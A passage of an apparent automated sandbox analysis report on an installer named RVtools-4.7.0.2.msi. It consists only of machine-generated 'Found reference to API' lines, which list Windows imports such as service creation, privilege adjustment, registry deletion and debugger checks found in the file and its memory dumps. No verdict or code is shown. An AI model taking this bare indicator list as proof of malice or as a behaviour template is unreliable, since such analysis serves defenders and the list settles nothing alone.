"RVtools-4.7.0.2.msi") Found reference to API (Indicator: "FindNextFileW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "FindClose"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetExitCodeProcess"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CreateFileW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetFileSize"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "ReadFile"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "WriteFile"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetModuleHandleW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetTempPathW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "VerSetConditionMask"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "VerifyVersionInfoW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetCurrentProcess"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetProcAddress"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetCurrentThreadId"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "DefWindowProcW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CreateWindowExW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "ShowWindow"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "UpdateWindow"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "BringWindowToTop"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "IsWindow"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetForegroundWindow"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetWindowThreadProcessId"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "AttachThreadInput"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SystemParametersInfoW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SetForegroundWindow"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CryptDestroyHash"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CryptReleaseContext"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CryptAcquireContextW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CryptCreateHash"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CryptHashData"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CryptGetHashParam"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetUserNameW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "OpenProcessToken"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetTokenInformation"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "RegDeleteKeyW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "RegDeleteValueW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "RegCloseKey"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "RegEnumKeyExW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "RegOpenKeyExW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "RegQueryValueExW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "RegSetValueExW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "ShellExecuteExW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SHGetFolderPathW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "PathFileExistsW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "PathAppendW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "PathFindExtensionW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "HeapFree"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "TerminateProcess"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "IsDebuggerPresent"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "DeleteFileW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "RemoveDirectoryW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CreateDirectoryW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetCommandLineA"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "HeapCreate"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "HeapDestroy"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "VirtualFree"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "DeleteCriticalSection"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "LeaveCriticalSection"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "EnterCriticalSection"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "HeapAlloc"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "VirtualAlloc"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "HeapReAlloc"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "InterlockedIncrement"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "InterlockedDecrement"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "TlsGetValue"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "TlsAlloc"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "TlsSetValue"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "TlsFree"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SetLastError"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "RaiseException"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetFileAttributesW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetCPInfo"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetACP"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetOEMCP"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "IsValidCodePage"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "ExitProcess"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SetHandleCount"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetStdHandle"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetFileType"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetStartupInfoA"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetModuleFileNameA"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "FreeEnvironmentStringsA"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetEnvironmentStrings"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "WideCharToMultiByte"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetTickCount"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetCurrentProcessId"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "RtlUnwind"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetUserDefaultLCID"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetLocaleInfoA"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "EnumSystemLocalesA"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "IsValidLocale"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetStringTypeA"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetStringTypeW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "HeapSize"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SetFilePointer"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetConsoleCP"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetConsoleMode"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CreateProcessW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "LCMapStringA"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "LCMapStringW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "InterlockedExchange"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "LoadLibraryA"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SetStdHandle"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "WriteConsoleA"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "WriteConsoleW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CompareStringW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SetEnvironmentVariableA"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SetEnvironmentVariableW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetLocaleInfoW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CreateFileA"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "FlushFileBuffers"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "InitializeCriticalSection"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetProcessHeap"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetModuleHandleA"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "RegEnumValueW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "RegEnumKeyW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "LookupPrivilegeValueW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "RegCreateKeyExW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SHFileOperationW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SHGetFileInfoW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SHBrowseForFolderW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SHGetPathFromIDListW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CoTaskMemFree"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "IIDFromString"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CoCreateInstance"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "OleUninitialize"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "OleInitialize"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "FillRect"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetClientRect"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "BeginPaint"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "InvalidateRect"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "EnableWindow"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "ReleaseDC"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetDC"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "LoadImageW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "wsprintfW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "PostQuitMessage"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SetWindowTextW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SetTimer"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "DestroyWindow"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "ExitWindowsEx"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CharNextW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "RegisterClassW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "ScreenToClient"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetWindowRect"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "EnableMenuItem"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetSystemMenu"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "IsWindowEnabled"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SetWindowPos"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetSysColor"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SetCursor"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "LoadCursorW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "IsWindowVisible"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CloseClipboard"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SetClipboardData"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "EmptyClipboard"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "OpenClipboard"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "TrackPopupMenu"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "AppendMenuW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CreatePopupMenu"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetSystemMetrics"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CharPrevW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CharNextA"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "wsprintfA"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "DispatchMessageW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "PeekMessageW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SelectObject"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CreateFontIndirectW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "DeleteObject"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetDeviceCaps"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "MulDiv"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "lstrlenA"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetPrivateProfileStringW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "WritePrivateProfileStringW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "FreeLibrary"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "LoadLibraryExW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GlobalAlloc"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GlobalFree"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "lstrcmpW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "lstrcmpiW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SetFileTime"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CompareFileTime"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SearchPathW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetShortPathNameW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetFullPathNameW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "MoveFileW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SetCurrentDirectoryW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SetFileAttributesW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetModuleFileNameW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CopyFileW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetWindowsDirectoryW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetCommandLineW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetVersionExW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SetErrorMode"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "lstrlenW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "lstrcpynW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetDiskFreeSpaceW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GlobalUnlock"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GlobalLock"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CreateThread"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "lstrcmpiA"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetTempFileNameW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "lstrcpyA"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "MoveFileExW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "lstrcatW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetSystemDirectoryW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "VerQueryValueW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetFileVersionInfoW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SHGetKnownFolderPath"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetUserDefaultUILanguage"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetDiskFreeSpaceExW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SetDefaultDllDirectories"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SeShutdownPrivilege"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "IsTextUnicode"; File: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "SetSecurityDescriptorDacl"; File: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "InitializeSecurityDescriptor"; File: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "CharNextExA"; File: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "GlobalReAlloc"; File: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "IsDBCSLeadByteEx"; File: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "PeekNamedPipe"; File: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "lstrcpyW"; File: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; File: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "CreatePipe"; File: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "GetVersion"; File: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; File: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "MapViewOfFile"; File: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; File: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "IsWow64Process2"; File: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "OpenSCManager"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "OpenService"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "QueryServiceObjectSecurity"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "ConvertSecurityDescriptorToStringSecurityDescriptor"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "ConvertStringSecurityDescriptorToSecurityDescriptor"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "GetSecurityDescriptorControl"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "SetServiceObjectSecurity"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "ControlServiceEx"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "ControlService"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "ChangeServiceConfig"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "RtlCreateServiceSid"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "LocalAlloc"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "ConvertSidToStringSid"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "QueryServiceConfig"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "EnumDependentServices"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "CreateService"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "DeleteService"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "StartService"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "QueryServiceStatusEx"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "EnumServicesStatusEx"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "EnumServicesStatus"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "CryptBinaryToStringW"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "ConvertStringSecurityDescriptorToSecurityDescriptorW"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "OpenServiceW"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "ChangeServiceConfigW"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "QueryServiceConfigW"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "ConvertSidToStringSidW"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "EnumServicesStatusExW"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "StartServiceW"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "ConvertSecurityDescriptorToStringSecurityDescriptorW"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "QueryServiceStatus"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "CreateServiceW"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "CryptStringToBinaryW"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "SeShutdownPrivilege"; Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "SHGetFolderPathW"; Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "SHGetKnownFolderPath"; Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "RegDeleteKeyExW"; Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceExW"; Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "SetDefaultDllDirectories"; Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "SHFileOperationW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "SHGetFileInfoW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "SHBrowseForFolderW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "SHGetPathFromIDListW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "ShellExecuteExW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "IIDFromString"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "OleUninitialize"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "OleInitialize"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "FillRect"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GetClientRect"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "BeginPaint"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "DefWindowProcW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "InvalidateRect"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "LoadImageW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "IsWindow"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API 